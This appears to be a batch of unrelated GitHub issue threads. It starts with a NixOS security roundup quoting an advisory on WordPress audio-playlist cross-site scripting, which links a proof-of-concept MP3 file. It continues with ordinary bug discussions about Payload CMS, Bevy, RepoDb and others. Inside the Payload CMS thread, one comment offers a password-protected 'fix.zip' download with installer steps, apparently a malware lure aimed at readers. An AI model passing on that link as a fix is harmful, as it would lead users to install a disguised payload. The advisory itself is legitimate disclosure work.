Roundup: [oss-security] WordPress audio playlist functionality is affected by Cross-Site Scripting

Here is a report from the oss-security mailing list for Vulnerability Roundup 27.
Skip to First Email
Instructions:
Identification
Identify if we have the software, in 16.09, 17.03, and unstable. Then determine if we are vulnerable, and make a comment with your findings. It can also be helpful to specify if you think there is a patch, or if it can be fixed via a general update.
Example:
unstable: we are not vulnerable (link to the package)
17.03: we are vulnerable (link to the package)
16.09: we don't have it packaged

IMPORTANT: If you believe there are possibly related issues, bring them up on the parent issue!
Patching
Start by commenting on this issue saying you're working on a patch. This way, we don't duplicate work.
If you open a pull request, tag this issue and the master issue for the roundup.
If you commit the patch directly to a branch, please leave a comment on this issue with the branch and the commit hash, example:
fixed:

release-16.09: abc123

Skip to First Email
Upon Completion ...

[ ] Update Graham's database

Info
Triage Indicator:
-needs-triage +roundup27 thread:0000000000004048

File Search: https://search.nix.gsc.io/?q=wordpress&i=fosho&repos=nixos-nixpkgs
GitHub Search: https://github.com/NixOS/nixpkgs/search?utf8=✓&q=wordpress+in%3Apath&type=Code

Should the search term be changed from wordpress? Suggest a new package search by commenting:
-suggested:wordpress +suggested:correctPackageName thread:0000000000004048

Known CVEs:

Skip to End
Tue, 7 Mar 2017 00:04:44 +0100 Summer of Pwnage <lists-at-securify.nl><EMAIL_ADDRESS>------------------------------------------------------------------------
WordPress audio playlist functionality is affected by Cross-Site
Scripting
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Two Cross-Site Scripting vulnerabilities exists in the playlist
functionality of WordPress. These issues can be exploited by convincing
an Editor or Administrator into uploading a malicious MP3 file. Once
uploaded the issues can be triggered by a Contributor or higher using
the playlist shortcode.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160717-0003

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the WordPress [2] version 4.5.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
These issues are resolved in WordPress version 4.7.3. [3]

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
WordPress is web software you can use to create a website, blog, or
app. Two Cross-Site Scripting vulnerabilities exists in the playlist
functionality of WordPress. These issues can be exploited by convincing
an Editor or Administrator into uploading a malicious MP3 file. Once
uploaded the issues can be triggered by a Contributor or higher using
the playlist shortcode.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
It was discovered that meta information (ID3) stored in audio files are
not properly sanitized in case they are uploaded by a user with the
unfiltered_html (generally an Editor or Administrator).

The first Cross-Site Scripting vulnerability exists in the function that
processes the playlist shortcode, which is done in the
wp_playlist_shortcode() method (/wp-includes/media.php). This method
creates a <noscript> block for users with JavaScript disabled.

https://www.securify.nl/advisory/SFY20160742/noscript_unfiltered_html.png

The method wp_get_attachment_link() does not perform any output encoding
on the link text. Meta information from the audio file is used in the
link text, rendering wp_playlist_shortcode() vulnerable to Cross-Site
Scripting.

The second Cross-Site Scripting issue is DOM-based and exists in the
JavaScript file /wp-includes/js/mediaelement/wp-playlist.js (or
/wp-includes/js/mediaelement/wp-playlist.min.js). The WPPlaylistView
object is used to render a audio player client side. The method
renderTracks() uses the meta information from the audio file in a call
to jQuery's append() method. No output encoding is used on the meta
information, resulting in a Cross-Site Scripting vulnerability.

https://www.securify.nl/advisory/SFY20160742/renderTracks-dom-based_xss.png

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
The following MP3 file can be used to reproduce this issue:

https://www.securify.nl/advisory/SFY20160742/xss.mp3

1) upload MP3 file to the Media Library (as Editor or Administrator).
2) Insert an Audio Playlist in a Post containing this MP3 (Create Audio
Playlist).
------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1]
https://sumofpwn.nl/advisory/2016/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html
[2] https://wordpress.org/
[3]
https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/

Skip to End

Closed by https://github.com/NixOS/security/issues/91


Flink Hudi Support Partial Column Update

Change Logs
Describe context and summary for this change. Highlight if any code was copied.
Impact
Describe any public API or user-facing feature change or any performance impact.
Risk level: none | low | medium | high
Choose one. If medium or high, explain what verification was done to mitigate the risks.
Contributor's checklist

[ ] Read through contributor's guide
[ ] Change Logs and Impact were stated clearly
[ ] Adequate tests were added if applicable
[ ] CI passed

@danny0405 @XuQianJin-Stars  can you help me to review this pr? thanks all

We have added native support of partial updates and schema in #9876 and #9883 with format changes and we will strengthen the partial update feature in Flink on top of that.  Closing this one.  Feel free to reopen if still needed.


PAPI2: Have transfer functions accept Location  as source and destination

overview
The complex liquid handling functions: transfer, distribute and consolidate should be able to accept a Location type for their sources and destinations in addition to Well or List[Well]
current behavior
Only a Well or a List[Well] is acceptable
steps to reproduce
 pipette10.transfer(
        1,
        reagents.wells('B2'),
        plate.wells_by_index()[well_name].bottom())

results in error since .bottom() returns a Location type

Fixed by #4276


FEATURE - Change new toolbar mode switching buttons labels for ADP

Add UI Adaptation and Navigation button labels in toolbar in ADP case
issue: #2067

Member


admin field width does not work (CSS specificity bug)

Link to reproduction
No response
Payload Version
beta
Node Version
20
Next.js Version
beta
Describe the Bug
This line of CSS is explicitly setting width: 100%!important, meaning that when you do something like
admin: {
  width: '50%'
}

although the width: 50% is actually set on the element, the width: 100%!important wins out, and we can't have fields of custom width
the
Reproduction Steps
Create a collection and add
admin: {
  width: '50%'
}

to any field

### Adapters and Plugins

_No response_

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Can't reproduce this issue - works for me, see screenshot, Can you provide a reproduction / a field config where this issue happens?

ah yes i'm sorry it seems like the issue is actually something else, and only happens when the widths of a field inside a row add up to 100%
{
            type: 'row',
            fields: [
                {
                    name: 'SKU',
                    type: 'text',
                    admin: {
                        width: '50%',
                    }
                },
                {
                    name: 'taxRate',
                    type: 'relationship',
                    relationTo: 'taxes',
                    hasMany: false,
                    admin: {
                        width: '50%',
                    }
                },
            ]
        },

So actually, the fix should be to change from flex-grow: 1; to flex: 1; (which is shorthand for also adding flex-shrink: 1; flex-basis: 0%;

Create PR here: https://github.com/payloadcms/payload/pull/7869

Hi @brunocrosier. I still cannot reproduce.

Also, if I change flex-grow to flex like you did in your PR, the relationship doesn't hold if it's uneven (say 10% and 40%), but instead, they keep taking up half of each other.
Maybe you have some CSS of your own that could be conflicting?

Hey @GermanJablo which version of payload v3 beta are you using?

I checked out your PR

I checked out your PR

Hmm.. I created my PR via the GitHub UI and I think it branched off of main rather than beta. That might be why..
I'm running 3.0.0-beta.94 and that's where I am seeing the issue

I'm seeing the same issue on beta.94. It is because the css uses "gap". The gap adds space to the row children, so a row with 2 elements of 50% and a gap of 10px calculates out at 100% +  10px, thus overflowing the content.
Either switch "width" to "max-width", revert to the previous style with negative margins and padding or set the flex-wrap to nowrap.
Here is how the rows where handled in the previous version
.field-type.row .row__fields {
  display: flex;
  flex-wrap: wrap;
  width: calc(100% + var(--base));
  margin-left: calc(var(--base) * -0.5);
  margin-right: calc(var(--base) * -0.5);
}

.field-type.row .row__fields > * {
  flex-grow: 1;
  padding-left: calc(var(--base) * 0.5);
  padding-right: calc(var(--base) * 0.5);
}

If you drop this in custom.scss file it has the widths working properly.
.field-type.row .row__fields {
    display: flex;
    flex-wrap: wrap;
    margin-left: calc(var(--base) * -0.5);
    margin-right: calc(var(--base) * -0.5);
    gap: 0;
  }

  .field-type.row .row__fields > * {
    flex-grow: 1;
    padding-left: calc(var(--base) * 0.5);
    padding-right: calc(var(--base) * 0.5);
  }

@brunocrosier Do you want to update your PR to point to the Beta branch? The new path if I'm not mistaken is:
packages\ui\src\fields\Row\index.scss
Ideally, it would be good to have a test. If that's not possible, I would appreciate if you could do some verifications that flex: 1 doesn't cause any undesired behavior.

@tophermurphy thank you for your contribution. Let's first see if @brunocrosier 's solution fixes the problem, since it only changes 1 line of CSS

@brunocrosier Do you want to update your PR to point to the Beta branch? The new path if I'm not mistaken is: packages\ui\src\fields\Row\index.scss
Ideally, it would be good to have a test. If that's not possible, I would appreciate if you could do some verifications that flex: 1 doesn't cause any undesired behavior.
@tophermurphy thank you for your contribution. Let's first see if @brunocrosier 's solution fixes the problem, since it only changes 1 line of CSS

Thanks I'll create a new PR pointing at beta and add some tests. Just pinged you on DIscord with some questions about how to run Payload in the beta branch. Cheers

@brunocrosier Do you want to update your PR to point to the Beta branch? The new path if I'm not mistaken is: packages\ui\src\fields\Row\index.scss
Ideally, it would be good to have a test. If that's not possible, I would appreciate if you could do some verifications that flex: 1 doesn't cause any undesired behavior.
@tophermurphy thank you for your contribution. Let's first see if @brunocrosier 's solution fixes the problem, since it only changes 1 line of CSS

I've addressed this issue in this PR now and added some more tests: https://github.com/payloadcms/payload/pull/7940
Reviews welcome!


logos for chains

looks like we have asset logos, but it came up in relayer chat that they needed chain logos for something. typically the chain logo = the staking token logo, but this doesn't have to be the case. staking and governance tokens can also be distinct, as will be the case for v1 Interchain security.
would be good to accomodate svg + png versions and annotate image type.

what if we put in the chain.json file logo_URIs { png: , svg: } ?
Although we may want to allow for more images, for now, this at least allows for a chain logo in a familiar format.


taskrun: fix log message

A minor fix to ensure error is included in log.

Changes

Submitter Checklist
These are the criteria that every PR should meet, please check them off as you
review them:

[ ] Includes tests (if functionality changed/added)
[ ] Includes docs (if user facing)
[ ] Commit messages follow commit message best practices
[ ] Release notes block has been filled in or deleted (only if no user facing changes)

See the contribution guide for more details.
Double check this list of stuff that's easy to miss:

If you are adding a new binary/image to the cmd dir, please update
the release Task to build and release this image.

Reviewer Notes
If API changes are included, additive changes must be approved by at least two OWNERS and backwards incompatible changes must be approved by more than 50% of the OWNERS, and they must first be added in a backwards compatible way.
Release Notes

/ok-to-test
/kind bug

/ok-to-test
/kind bug

/lgtm

/lgtm


feat: update valueRenderer type to accept elements as well as strings

resolves #317
Summary of Changes:

Added new stories to show rendering strings (and array of strings) as well as elements
Updated valueRenderer to accept ReactNode instead of string (ReactNode accepts a larger variety of things that can be rendered in the place of just a string:

type ReactText = string | number;
type ReactChild = ReactElement | ReactText;

interface ReactNodeArray extends Array<ReactNode> {}
type ReactFragment = {} | ReactNodeArray;

type ReactNode = ReactChild | ReactFragment | ReactPortal | boolean | null | undefined;

@breynolds-dev this is great, just an small typo in file name 'stories/customm-element.stories.tsx' and this should be ready to merge

wow, how embarrassing.  I will get this updated and pushed


Integration Test - Release - 2019/02/01 17:09:47

Auto create for integration test. AnotherAuthorUpdatedArticleFlow

@bharney-msft : Thanks for your contribution! The author, @v-caxian, has been notified to review your proposed change.


Mutation testing

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
92

Relevant Lines:
92

💛  - Coveralls


Fix Indentation Error in "Purge CDN endpoint" Sample Actions in GitHub Actions Static Site Deployment Guide

Fixed indentation errors in the sample workflow code provided in the "Set up a GitHub Actions workflow to deploy your static website in Azure Storage" guide that prevent the "Purge CDN endpoint" actions from running successfully when placeholder values are replaced with "real" values. Specifically, added an additional level of indentation to the Azure CLI commands on lines 130 and 164 to correct these errors.

@darkroastcreative : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Thanks @darkroastcreative!
#sign-off


[tracking] movie results in channel search

https://github.com/mchangrh/yt-neuter/commit/31b9b55012a23e67d57495c9b5f98659dd31eef3 worked but would break subscriptions if any of them had tags
unable to replicate in current environment

reverted in https://github.com/mchangrh/yt-neuter/commit/c38f7b2d85d079ecd40c87126ceb6efcd494e27e since it would hide any and all badges

can't find any examples anymore, will re-open once they come back up


package-build-scripts: chicken&egg problem during release

During 1.49 release of the build-tools, I faced a problem because package-build-scripts has a parent pom version which is updated during the release process prepare phase to the next snapshot (as it is always done). But during the verify phase, package-build-scripts needs to access its parent which is not yet available... I remember reading in Maven documentation that verify phase should not depend on things done during the test phase or later...
I managed to work around the problem by:

manually edit package-build-scripts/pom.xml to revert to previous parent version during prepare phase after its initial failure
manually edit the same pom file between the prepare phase and perform phase and commit the changed pom.
After the perform phase, revert the last change

The chicken&egg problem must be reviewed to solve this release issue. It can be tested first by executing the verifyphase, then by doing a release:prepare and cancel/revert it when it begins to ask for the GPG keys (the problem happens before).

I am not sure what package-build-scripts does. Depending on this, one solution would be to disable it at release time in the same way as this is done for cfg-module-dist...

@jouvin package-build-scripts allows us to create an rpm with the Test::Quattor tools, so you can run the unittests without maven.
in that sense, feel free to skip it in the build-tools release process. rpms will/should be created during the regular quattor release process.

After thinking more about this issue, I reopen this issue. I think #87 is just a workaround for 2 reasons:

To build the RPM, you now have to run a non standard pom.xml (the one in package-build-scripts/ instead of the top level one). I don't think this is handled by the release script (which always run the pom.xml at the top if I am right).
package-build-scripts is no longer unit tested basically for the same reason. We could add a process flag like for other modules but it would not help as you would need to specify it explicitly and run Maven twice to unit test everything.

In addition, it is necessary to check that package-build-scripts/pom.xml run successfully when not called by the main pom.xml (I guess so...).
An alternative could be to have a separate repo for package-build-scripts if we manage to import the  Test::Quattor code at build time. Could a git submodule help with this?

hmmm, wrt the second repo, all the code required for the rpm is pulled in via the maven dependecy on build-scripts. so it would be a repo with just one pom.xml, we could definitely try that.

In this case, this is particularly easy and would make the build much cleaner... If this is just one pom.xml we could also see if we can put it in the release repo but I am afraid that we may be back to the original problem... To be checked, I don't remember if there is already a pom.xml in the release repo.

Discussed at workshop and decided to close as the original issue is solved, but may be suboptimal.
We can open a new issue to discuss this if it becomes a problem.


CryptoSwift is not needed and adds to compile time

CryptoSwift is only used to call an md5 method, this is an inefficient use of the library.

I will examine the handling of that.

thanks, a quick fix for it would be to include the MD5 method alone or another way to shorten the URLs

I've removed CryptoSwift!
Please check 0.8.1😄

@marty-suzuki
awesome thanks!


Under Ensure port 445 is open dangling sentence fragment

dangling sentence fragment in instructions
Ensure port 445 is open: SMB communicates over TCP port 445 - check to see if your firewall is not blocking TCP ports 445 from client machine. Replace and

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8d60d83f-0094-6c5e-e105-712c24bf1acc
Version Independent ID: 594af294-fd5d-a8c7-d456-6d753b7b62f8
Content: Use Azure Files with Linux
Content Source: articles/storage/files/storage-how-to-use-files-linux.md
Service: storage
Sub-service: files
GitHub Login: @roygara
Microsoft Alias: rogarana

Thanks for the feedback @HughDevlin! We are currently investigating and will update you shortly.

@HughDevlin Thanks for reaching out, we appreciate it! I've gone ahead and fixed the issue, the changes will be live later today.
Accordingly, I'll go ahead and close this out.
Thanks again for helping improve our docs! :)
#please-close


Adding a "create user" to the api

Indeed
On Apr 7, 2017 6:16 AM, "Jeremy Mitchell"<EMAIL_ADDRESS>wrote:

@mitchell852 commented on this pull request.
In traffic_ops/app/lib/API/User.pm
https://github.com/apache/incubator-trafficcontrol/pull/370#discussion_r110310096
:

my $name = $params->{username};

if ( !defined($name) ) {

return $self->alert("Username is required.");

}

my $existing = $self->db->resultset('TmUser')->search( { username => $name } )->single();
if ($existing) {

return $self->alert("A user with username \"$name\" already exists.");

}

if ( !defined($params->{fullName}) ) {

return $self->alert("full-name is required.");

}

if ( !defined($params->{email}) ) {

nevermind, i guess email uniqueness is checked in the is_valid() function
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/apache/incubator-trafficcontrol/pull/370#discussion_r110310096,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AXGkYLXxSpb8U3fcfR6JyCEygD0RjcT5ks5rtaqDgaJpZM4MehR1
.

you might want to run your code thru the perl formatter. I see some formatting errors. Here's more info about that:
https://github.com/apache/incubator-trafficcontrol/blob/master/CONTRIBUTING.md#code-formatting
http://trafficcontrol.apache.org/docs/latest/development/traffic_ops.html#perl-formatting-conventions

@nir-sopher - can you fix this PR? "This branch cannot be rebased safely" -  i'd like to get it merged if possible

Rebase was done a PR review changes were made, except for a test for "username" in the beginning of the create function. The test is done as the value is in use by the function logic.

The change of the "role" broke the UT and was reverted.
It changes current behavior of user-update.
I prefer not to make such changes in this PR

yes, there is a UT failure:
t/user.t                                      (Wstat: 256 Tests: 21 Failed: 1)
Failed test:  5
Non-zero exit status: 1
but i'm pretty sure this was fixed in master so i'll pull this in and if it's still broken, i can fix it.
it  only changes the behavior of user-update in the sense that role is now checked which in my opinion is a very valid check. you should not be able to update a user and leave out a required field - role.


Iterate with JavaScript For Loops has no for loop in the initial code

Challenge http://www.freecodecamp.com/challenges/waypoint-iterate-with-javascript-for-loops has an issue. The initial code has a comment as //...using a "for loop" like above. but there is no for loop in the initial code. Please add the for loop example on the left panel to the above of the initial code.

That example is already provided A few lines above than Run code button's position. Do you see that pink text, that's it.

Hey @snowy73 thanks for posting a bug report!
This looks like a duplicate of #2444 which looks like it was fixed in e33a929.  I still see the issue in my browser, but I am assuming the merged fix has just not yet been deployed to production.
Please see our Bug Reporting Guidelines for any future issues.


Expose Pipeline Compilation Zero Initialize Workgroup Memory Option

Objective

wgpu 0.20 made workgroup vars stop being zero-init by default. this broke some applications (cough foresight cough) and now we workaround it. wgpu exposes a compilation option that zero initializes workgroup memory by default, but bevy does not expose it.

Solution

expose the compilation option wgpu gives us

Testing

ran examples: 3d_scene, compute_shader_game_of_life, gpu_readback, lines, specialized_mesh_pipeline. they all work
confirmed fix for our own problems

Migration Guide

add zero_initialize_workgroup_memory: false, to ComputePipelineDescriptor or RenderPipelineDescriptor structs to preserve 0.14 functionality, add zero_initialize_workgroup_memory: true, to restore bevy 0.13 functionality.

RenderPipelineDescritptor can't impl Default because of the VertexState. But the compute one could I guess.

not sure if it makes sense to add a blanket Default impl, but per-field defaults would be nice. this is something that rust kinda lacks tbh

i kinda like it
#[derive(Default)]
pub enum WorkgroupMemoryInitialization {
    #[default]
    Zeroed,
    Uninitialized,
}

impl From<WorkgroupMemoryInitialization> for bool {
    fn from(init: WorkgroupMemoryInitialization) -> bool {
        match init {
            WorkgroupMemoryInitialization::Zeroed => true,
            WorkgroupMemoryInitialization::Uninitialized => false,
        }
    }
}

i kinda like it

Yeah, this feels like a much more idiomatic solution. You can also add some docs to the type!

i'll do it monday


iTunes Connect Upload Failed with Error

I added AssimpKit to my Xcode Project. But now I am not able to upload it to iTunes Connect anymore.
These are the errors I am receiving.

This is not an AssimpKit problem but a carthage issue which can be fixed by adding a script that removes the unsupported architectures based on your project settings.
See this: http://ikennd.ac/blog/2015/02/stripping-unwanted-architectures-from-dynamic-libraries-in-xcode/ for the script.

I did not use Carthage. I manually added the Assimpkit Framework to my Project

I did not use Carthage

Ok, wrong assumption on my part.

I manually added the Assimpkit Framework to my Project

Not really recommended that you do so manually.
Nevertheless, AssimpKit.framework contains more architectures than your app and you need to strip out those and the script I referred to should help you strip those out, whether you install with carthage or manually. Hope this helps.

Do you think I can install Assimpkit with Carthage although I also use cocoa pods?

Yes, carthage and cocoa pods can be used in same project. PS: Even if you use carthage, you may/will still have to strip out the unsupported architectures.


Specially handle all characters in COMP_WORDBREAKS

Fixes #94

Current coverage is 87.98% (diff: 90.00%)

Merging #187 into master will decrease coverage by 0.02%

@@             master       #187   diff @@
==========================================
  Files             4          4
  Lines           592        591     -1
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
- Hits            521        520     -1
  Misses           71         71
  Partials          0          0

Powered by Codecov. Last update 37ac64a...0512c50

Important things:

This breaks quotes in tcsh, but they can be fixed fairly easily
COMP_WORDBREAKS no longer has a default, which may impact anyone using this outside of bash
This will make some things display weirdly, like the URLs in the tests

$ ./prog url h<tab>
$ ./prog url http://url<tab>
//url1  //url2

In the above example, completion functions correctly, but printing is trimmed at the colon. Previously this happened sometimes, depending on whether the user had typed an unescaped colon:
$ ./prog url h<tab>
$ ./prog url http\://url<tab>
http\://url1  http\://url2
$ ./prog url http:<tab>
$ ./prog url http://url<tab>
//url1  //url2

@kislyuk Are you okay with these changes, noting the differences I've highlighted above?

What are the characters for which truncation of printed suggestions happens?

Anything in COMP_WORDBREAKS that isn't in the list of characters we're always escaping. For what seems to be the default value of that, this will be = and :.

LGTM although I confess I don't quite understand the pexpect-based tests as per my comment.

Thanks for reviewing.

Great, thanks for adding the docstring, that's very informative.


iOS:

On iOS I'm seeing these errors on startup (simulator only - device is fine):
TIC SSL Trust Error [193:0x60400017f140]: 3:0
NSURLSession/NSURLConnection HTTP load failed (kCFStreamErrorDomainSSL, -9813)
Task <41561349-8963-41A3-8F96-B87D1B3868CB>.<1> HTTP load failed (error code: -1202 [3:-9813])
Task <41561349-8963-41A3-8F96-B87D1B3868CB>.<1> finished with error - code: -1202
[ERROR] 51:15.372 Authenticator - not authenticated
I've tried this but it doesn't work:
https://stackoverflow.com/questions/44698788/xcode-9-ios-11-nsurlconnection-sendasynchronousrequest-fails
Any ideas?

Turned out that Charles was screwing up with my connection via simulator. Quitting Charles resolved this.


NullReferenceException: Object reference not set to an instance of an object

The error
NullReferenceException: Object reference not set to an instance of an object LoadModel+<loadFromSF>c__AnonStorey0.<>m__1 (CI.HttpClient.HttpResponseMessage1[T] s) (at Assets/Scripts/LoadModel.cs:122)
CI.HttpClient.Core.HttpBase+c__AnonStorey11[T].<>m__0 () (at Assets/HttpClient/HttpActions/HttpBase.cs:357) CI.HttpClient.Core.Dispatcher.Update () (at Assets/HttpClient/Dispatcher/Dispatcher.cs:23)
occurs at :
 importer.setupForPath(gltfInput, _importDirectory, prefabName, true);
I know I have the gltfinput pointing at a .gltf
prefab name is just a string name I made up

Are you still having this issue with the latest version of UnityGLTF?

Cleaning up old issues.  Haven't gotten a response in a long time.


[REVIEW]

GitHub Profile Link
https://github.com/Omkar0114

Looks greats 👍 Reviewed on live stream https://www.youtube.com/watch?v=KnR5OoVLpc4
Some suggestions

add location helps with people knowing your timezone
animated text does not display correctly in Safari
python badge is inconsistent with other badges

Thank you so much!


⚠ DesiTorrents has degraded performance

In 1ab4586, DesiTorrents ($DST) experienced degraded performance:

HTTP code: 200
Response time: 1996 ms

Resolved: DesiTorrents performance has improved in 993665a after 7 minutes.


[stable/traefik] service type ClusterIP does not work with externalTrafficPolicy

I have an internal instance of the traefik chart and i have the service type set to ClusterIP. Because of this, i get an error when attempting to deploy traefik.
"Invalid value: "Cluster": ExternalTrafficPolicy can only be set on NodePort and LoadBalancer service"
Should the condition for externalTrafficPolicy be changed to only be added if the service type is not ClusterIP?

An ingress is really just a way to define configuration for a reverse proxy. in my use case I have an external ingress controller which handles traffic coming into the cluster. The external ingress routes most of the traffic (but not all) to a couple middleware services. Those middleware services are not smart enough to route traffic based on path, so they blindly forward the traffic to the internal ingress (running as ClusterIP). The internal ingress routes to the correct service based on path.

Yup - still an issue. It seems like setting --set externalTrafficPolicy= will fix it


FIx to sonarcloud issues

Pull Request Test Coverage Report for Build 890107068

3 of 3 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.0003%) to 99.823%

Totals

Change from base Build 888929749:
-0.0003%

Covered Lines:
1211

Relevant Lines:
1213

💛  - Coveralls


Scy/de42729/improve template separator label

Previously with no explicit labels screen readers on windows read "separator {pixel width of secondary pane}" when focusing on the divider between the panes and didn't offer any indication that it was interactive or why it was a tabstop.
With these changes it should read "adjustable split-view separator {pixel-width of secondary pane} arrow left or right to adjust the size of the view panels" (or up and down when vertical).

I can't test what this sounds like using VO on mac, but I know @dbatiste said that before the changes it was much more verbose and had its own description of the keybinds (not supplied by us). If someone can check to make sure it isn't doing anything crazy with the label and the description before this proceeds it would be appreciated ;)

I can't test what this sounds like using VO on mac, but I know @dbatiste said that before the changes it was much more verbose and had its own description of the keybinds (not supplied by us). If someone can check to make sure it isn't doing anything crazy with the label and the description before this proceeds it would be appreciated ;)

Yep, I can test this out this afternoon.

Yep, I can test this out this afternoon.

Ok, I've done some testing with this.  VO is actually really frustrating to use make this work.  Typically, to operate the divider, the user is supposed to use Ctrl+Opt+Shift+Down, then use Ctrl+Opt followed by left/right arrow keys to move it.  However, I've spent about 20-30min messing with it, and I am not unable to get it to work at all with the original code (while it worked ok a couple days ago), and only about 10-20% of the time with the new code depending on where I can manage to get the virtual "focus", and only after using Ctrl+Opt+Shift+Down.  With VO active, the arrow keys don't function as they would normally... hence these extra keys they need to press in order to interact with the divider.
Aside from hardly being able to get it to work, the message no longer tells the user they need to use Ctrl+Opt+Shift+Down, which could be problematic for VO users unless they are experienced/expert VO users.  I wonder if Carin has a Mac she can use... she might know some magic tricks to make it do what it's supposed to.  Also, I am happy to screenshare if it helps.

Actually correction... it does still announce the Ctrl+Opt+Shift+Down/Up after everything else. So, it's probably no more frustrating that it already was.  🤷♂


Exclude test files from tidy check

Previously, clang-tidy-diff was applied to all changed files, including those under the test/ directory. However, these files are not production code and may contain unusual constructs. Therefore, we exclude them from the output of git diff, ensuring they are not checked by clang-tidy.
For more details, please refer to Making 'git log' ignore changes for certain paths.

LGTM!

Thanks for reviewing!


Request: Enable the Enumerable when calling the operations with IN operation.

As requested via GitterChat, please see the comments below.

@eriego - I have placed all your requests here. I already had fixed and issued the necessary Integration Tests and Unit Tests for the 'IEnumerable' based object. But, I never fix the the ':' vs '@' characters. Is that necessary for you?

Thank you very much Michael.
It is not important to use: or @, I would just like to know what prefix
should be used, if it depends on the ADO driver or not.
I think there are more problems in using IN parameters, at least using
expressions
By example using this pseudo-code:

public List ReadWithRecCodigos(ISqlConnection con, long idug,
long[] rec_codigos) {   if (rec_codigos == null || rec_codigos.Length ==

 return new List<RowLDG>();*

Expression <Func <RowLDG, bool >> expression = x => x.tt_idug ==
idug && rec_codigos.Contains(x.rec_codigo);   var where = QueryGroup.Parse
(expression);   var fields = FieldCache.Get();*

var statementBuilder = con.GetStatementBuilder ();   var sql =
statementBuilder.CreateQuery (null, TableName, fields, where, null, null);
return con.ExecuteQuery  (sql, where) .AsList ();*
}

The SQL generated is
SELECT "tt_gid", "tt_idug", "tt_idparcela", "geometry", "num_parcela",
"rec_codigo", "provincia", "municipio", "agregado", "zona", "poligono",
"parcela", "recinto", "perimetro", "superficie", "sup_decl", "dn_pk",
"completo", "read_only", "num_capa", "dn_oid", "tipo_actuacion", "especie"
FROM "cap_recintos" WHERE (("tt_idug" = @tt_idug) AND ("rec_codigo" IN
(@rec_codigo_In_0))) ;
But it seems that the parameter rec_codigo_In_0  is not defined because
this error jumps
Npgsql.PostgresException (0x80004005): 42703: no existe la columna
«rec_codigo0_in_0»  (column does not exist)
I know that the expressions that can be used have some restriction, perhaps
this is one of them.
In any case thank you very much, I am enjoying porting this application.
El vie., 31 jul. 2020 a las 10:26, Michael Camara Pendon (<
<EMAIL_ADDRESS>escribió:

@eriego https://github.com/eriego - I have placed all your requests
here. I already had fixed and issued the necessary Integration Tests and
Unit Tests for the 'IEnumerable' based object. But, I never fix the the ':'
vs '@' characters. Is that necessary for you?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/mikependon/RepoDb/issues/495#issuecomment-667001848,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ALCVT274QWCH3OAEMBCDL73R6J523ANCNFSM4PNJDY3A
.

--
Un saludo.
Enrique Riego.

@eriego - let me check that later. I do not know where the rec_codigo0_in_0 column is coming actually. What you have wrote in the SELECT statement is just below which is also not defining this column.
SELECT "tt_gid", "tt_idug", "tt_idparcela", "geometry", "num_parcela", "rec_codigo", "provincia", "municipio", "agregado", "zona", "poligono", "parcela", "recinto", "perimetro", "superficie", "sup_decl", "dn_pk", "completo", "read_only", "num_capa", "dn_oid", "tipo_actuacion", "especie" FROM "cap_recintos" WHERE (("tt_idug" = @tt_idug) AND ("rec_codigo" IN (@rec_codigo_In_0))) ;

But please allow me to debug and look at it, will revert to you soon.

@eriego - I had replicated your case. The reason for that was, the ExecuteQuery is converting the @Param by default. But since you use the CreateQuery method of the StatementBuilder object, who is also doing the thing for QueryGroup, then the replacement has happened twice. But, I already fix it and had added more integration tests to support the case.

Thank you Michael.
El vie., 31 jul. 2020 a las 16:07, Michael Camara Pendon (<
<EMAIL_ADDRESS>escribió:

@eriego https://github.com/eriego - I had replicated your case. The
reason for that was, the ExecuteQuery is converting the @Param by
default. But since you use the CreateQuery method of the StatementBuilder
object, who is also doing the thing for QueryGroup, then the replacement
has happened twice. But, I already fix it and had added more integration
tests to support the case.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/mikependon/RepoDb/issues/495#issuecomment-667137658,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ALCVT26X4FSSXI6HBN6I6KDR6LFZBANCNFSM4PNJDY3A
.

--
Un saludo.
Enrique Riego.

Referencing this fix here. 432c506

@eriego - this request is part of the latest deployment (RepoDb.PostgreSql. Would you be able to check on your side? Thanks
> Install-Package RepoDb.PostgreSql -version 1.0.12

Yes, it works.
I have implemented this function.
`        public IEnumerable Query(string tableName,
Expression<Func<T, bool>> where = null,
IEnumerable orderBy = null,
bool traceLog = false) where T : class
{
var dbFields = Connection.GetDbHelper().GetFields(Connection, tableName);
var fields = dbFields.Select(x => x.AsField());
        var queryGroup = QueryGroup.Parse(where);

        var statementBuilder = Connection.GetStatementBuilder();
        var sql = statementBuilder.CreateQuery(null, tableName, fields, queryGroup, orderBy, null);

        if (traceLog)
            _logger.Log("sql: " + sql);

        return ExecuteQuery<T>(sql, queryGroup);
    }

`
And I have tested it with this code
           Expression<Func<RowLDG, bool>> expression = x => x.tt_idug == idug && rec_codigos.Contains(x.rec_codigo);             return con.Query(TableName, expression).AsList();
Thank yo Michael

